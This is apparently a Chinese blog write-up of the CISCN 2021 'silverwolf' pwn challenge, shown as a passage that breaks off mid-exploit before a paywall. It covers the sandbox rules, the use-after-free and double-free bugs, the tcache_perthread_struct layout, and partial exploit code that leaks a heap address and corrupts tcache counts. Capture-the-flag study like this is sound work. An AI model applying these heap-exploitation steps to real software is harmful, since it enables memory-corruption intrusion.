题目
2021全国大学生信息安全竞赛-ciscn_2021_silverwolf
保护
$ checksec silverwolf
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开,值得注意的是我们这里查看下ldd信息
$ ldd silverwolf_init
linux-vdso.so.1 (0x00007ffff7fcd000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007ffff7d89000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7b97000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
可以看到这里使用了libseccomp.so,所以应该是个沙盒禁用题,我用seccomp-tools工具查看如下
$ seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
这里可以发现确实开启了沙盒保护,且open不能使用,好像openat也不能使用,之前做过一个类似的题目ciscn_final_4(解题思路差不多,开启了反调试)感兴趣的可以去试试
分析
main

alloc

这里知道malloc最大值为0x78,且程序只会存储一个堆块指针
edit

这里offbynull漏洞,从这里看出来,edit并没见检查堆指针,所以即使进入到了bin中也能直接修改数据,那么就可以很方便的进行修改fd了
show
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i8E9wRK8-1653415114670)(沙盒禁用+tcache.assets/image-20220525011149124.png)]](https://i-blog.csdnimg.cn/blog_migrate/29b438bf86d1a3ac07331debc16e0f20.png)
dele
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NzZMUkLm-1653415114670)(沙盒禁用+tcache.assets/image-20220525011309613.png)]](https://i-blog.csdnimg.cn/blog_migrate/ec8b289e5db3e54d9ce3a1e6945a0e00.png)
有uaf漏洞、doublefree
思路
这里的程序很简单漏洞百出,就是个baby题目,但是因为有了沙盒保护所以有了一丢丢难度(我也是过几天准备国赛这里才来刷往年的题目的>.<)ok话不多说开始!
因为doublefree+uaf所以我们可以很方便的进行泄漏libc
这里给大家说明下tcache的特性,这里的glibc的版本是2.27,那么在tcache初始化的时候会有一个tcache_perthread_struct的堆结构也就是那个位于堆结构第一个的堆块,在glibc2.27中它的大小为0x250,为什么是0x250呢,来看看源码定义:
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
可以看到它由两部分组成,counts用于记录每个释放tcache堆块的大小,entries用于记录释放堆块的指针也就是链表,而在64bit中TCACHE_MAX_BINS默认大小为64,那么计算得出char counts[64] = 0x40 , tcache_entry *entries[64] = 0x200,从而得出0x10 + 0x40 + 0x200 = 0x250大小,不难发现每个tcache的counts变量它的容量是char那么就是最大值为0xff
有了上面的知识那么我们使用tcache泄漏libc也就不难了
(0x20) tcache_entry[0](7): 0x555555606610 --> 0x555555606790 --> 0x5555556065f0 --> 0x5555556068a0 --> 0x5555556060b0 --> 0x555555606450 --> 0x555555606020
(0x40) tcache_entry[2](2): 0x555555606920 --> 0x555555606920 (overlap chunk with 0x555555606910(freed) )
(0x60) tcache_entry[4](1): 0x5555556068c0
(0x70) tcache_entry[5](7): 0x555555606360 --> 0x5555556060d0 --> 0x5555556062f0 --> 0x555555606490 --> 0x555555606630 --> 0x5555556067b0 --> 0x555555606040
(0x80) tcache_entry[6](7): 0x555555605e90 --> 0x5555556061b0 --> 0x555555606250 --> 0x5555556063d0 --> 0x555555606570 --> 0x555555606820 --> 0x555555605fa0
(0xd0) tcache_entry[11](3): 0x555555605ad0 --> 0x5555556057a0 --> 0x555555605310
(0xf0) tcache_entry[13](2): 0x5555556066a0 --> 0x555555605cd0
gef➤ addr 0x555555605000 //查看tcache_perthread_struct内存数据
0x555555605000: 0x0000000000000000 0x0000000000000251
0x555555605010: 0x0007070100020007 0x0000020003000000 //可以发现数据都是和上面对应的
0x555555605020: 0x0000000000000000 0x0000000000000000
0x555555605030: 0x0000000000000000 0x0000000000000000 //那么我们将0x555555605030这里改为0xff000000,则表示0x250的tcache已经装满的0xff个,那么再次free则会进入unsortbin中
0x555555605040: 0x0000000000000000 0x0000000000000000
0x555555605050: 0x0000555555606610 0x0000000000000000
0x555555605060: 0x0000555555606920 0x0000000000000000
0x555555605070: 0x00005555556068c0 0x0000555555606360
0x555555605080: 0x0000555555605e90 0x0000000000000000
那么exp为:
alloc(0x30)
dele() #free
edit('A'*0x8)
dele() #double free
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920 #得到堆地址
alloc(0x30)
edit(p64(heap + 0x10)) #修改fd为tcache的tcache_perthread_struct地址
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000)) #拿到tcache_perthread_struct
dele()
show()
ru('Content: '

本文详细解析了2021年全国大学生信息安全竞赛CISCN银狼题目的解题过程,包括利用沙盒保护漏洞进行堆溢出攻击、泄露libc基址,并最终获取flag。
最低0.47元/天 解锁文章
537

被折叠的 条评论
为什么被折叠?



